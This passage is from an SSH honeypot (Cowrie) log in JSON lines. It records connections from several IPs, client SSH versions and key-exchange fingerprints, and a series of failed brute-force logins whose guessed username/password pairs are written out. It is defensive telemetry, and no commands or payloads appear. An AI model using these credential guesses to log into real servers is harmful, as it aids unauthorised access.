{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:28:00.570377Z","src_ip":"95.182.81.25","session":"0b8588ce9d58","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:28:00.865501Z","src_ip":"213.209.159.158","session":"25d9d137a157","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:28:00.869915Z","src_ip":"213.209.159.158","session":"25d9d137a157","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.182.81.25","src_port":57220,"dst_ip":"10.17.0.5","dst_port":22,"session":"451a270565e2","protocol":"ssh","message":"New connection: 95.182.81.25:57220 (10.17.0.5:22) [session: 451a270565e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:28:04.421911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.10.0","message":"Remote SSH version: SSH-2.0-libssh2_1.10.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:28:04.523151Z","src_ip":"95.182.81.25","session":"451a270565e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"63ae64767f334c6a74647d80edb0291e","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc,none;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com,none;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc","none"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com","none"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 63ae64767f334c6a74647d80edb0291e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:28:04.528025Z","src_ip":"95.182.81.25","session":"451a270565e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"system","password":"OkwKcECs8qJP2Z","message":"login attempt [system/OkwKcECs8qJP2Z] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:28:04.775855Z","src_ip":"95.182.81.25","session":"451a270565e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:28:05.870597Z","src_ip":"95.182.81.25","session":"451a270565e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"webmaste","message":"login attempt [root/webmaste] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:28:06.189206Z","src_ip":"213.209.159.158","session":"25d9d137a157","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.0","message":"Connection lost after 9.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:28:08.609943Z","src_ip":"213.209.159.158","session":"25d9d137a157","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":24916,"dst_ip":"159.203.135.109","dst_port":22,"session":"6affbfbc573b","protocol":"ssh","message":"New connection: 213.209.159.158:24916 (159.203.135.109:22) [session: 6affbfbc573b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:28:08.714132Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":60342,"dst_ip":"10.17.0.5","dst_port":22,"session":"53bbfc1817ca","protocol":"ssh","message":"New connection: 147.45.197.250:60342 (10.17.0.5:22) [session: 53bbfc1817ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:28:09.005709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:28:09.011010Z","src_ip":"147.45.197.250","session":"53bbfc1817ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:28:09.105815Z","src_ip":"147.45.197.250","session":"53bbfc1817ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nature","message":"login attempt [root/nature] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:28:09.388003Z","src_ip":"147.45.197.250","session":"53bbfc1817ca","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:28:09.894219Z","src_ip":"213.209.159.158","session":"6affbfbc573b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:28:09.898269Z","src_ip":"213.209.159.158","session":"6affbfbc573b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:28:10.484851Z","src_ip":"147.45.197.250","session":"53bbfc1817ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.182.81.25","src_port":57538,"dst_ip":"10.17.0.5","dst_port":22,"session":"19228e2bff9a","protocol":"ssh","message":"New connection: 95.182.81.25:57538 (10.17.0.5:22) [session: 19228e2bff9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:28:10.900123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.10.0","message":"Remote SSH version: SSH-2.0-libssh2_1.10.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:28:10.993457Z","src_ip":"95.182.81.25","session":"19228e2bff9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"63ae64767f334c6a74647d80edb0291e","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc,none;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com,none;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc","none"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com","none"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 63ae64767f334c6a74647d80edb0291e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:28:10.997438Z","src_ip":"95.182.81.25","session":"19228e2bff9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"RPM","password":"RPM","message":"login attempt [RPM/RPM] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:28:11.589822Z","src_ip":"95.182.81.25","session":"19228e2bff9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:28:12.747652Z","src_ip":"95.182.81.25","session":"19228e2bff9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"warrior1","message":"login attempt [root/warrior1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:28:15.701353Z","src_ip":"213.209.159.158","session":"6affbfbc573b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.2","message":"Connection lost after 9.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:28:17.929029Z","src_ip":"213.209.159.158","session":"6affbfbc573b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":32620,"dst_ip":"159.203.135.109","dst_port":22,"session":"704c3c8b5e4c","protocol":"ssh","message":"New connection: 213.209.159.158:32620 (159.203.135.109:22) [session: 704c3c8b5e4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:28:18.008059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:28:19.239781Z","src_ip":"213.209.159.158","session":"704c3c8b5e4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:28:19.243587Z","src_ip":"213.209.159.158","session":"704c3c8b5e4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wcx!","message":"login attempt [root/wcx!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:28:25.072410Z","src_ip":"213.209.159.158","session":"704c3c8b5e4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.3","message":"Connection lost after 9.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:28:27.282231Z","src_ip":"213.209.159.158","session":"704c3c8b5e4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":35566,"dst_ip":"159.203.135.109","dst_port":22,"session":"3531893fdd7a","protocol":"ssh","message":"New connection: 213.209.159.158:35566 (159.203.135.109:22) [session: 3531893fdd7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:28:27.365090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:28:28.712810Z","src_ip":"213.209.159.158","session":"3531893fdd7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:28:28.717233Z","src_ip":"213.209.159.158","session":"3531893fdd7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.154.241.42","src_port":45182,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1926d67c6c8","protocol":"ssh","message":"New connection: 103.154.241.42:45182 (159.203.135.109:22) [session: e1926d67c6c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:28:29.199242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:28:29.203632Z","src_ip":"103.154.241.42","session":"e1926d67c6c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:28:29.465026Z","src_ip":"103.154.241.42","session":"e1926d67c6c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"1234","message":"login attempt [teamspeak/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:28:30.544399Z","src_ip":"103.154.241.42","session":"e1926d67c6c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:28:31.808410Z","src_ip":"103.154.241.42","session":"e1926d67c6c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.104.154.26","src_port":50442,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e7db7ebc32e","protocol":"ssh","message":"New connection: 112.104.154.26:50442 (10.17.0.5:22) [session: 5e7db7ebc32e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:28:34.335491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:28:34.343697Z","src_ip":"112.104.154.26","session":"5e7db7ebc32e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ww123456789","message":"login attempt [root/Ww123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:28:34.384830Z","src_ip":"213.209.159.158","session":"3531893fdd7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nis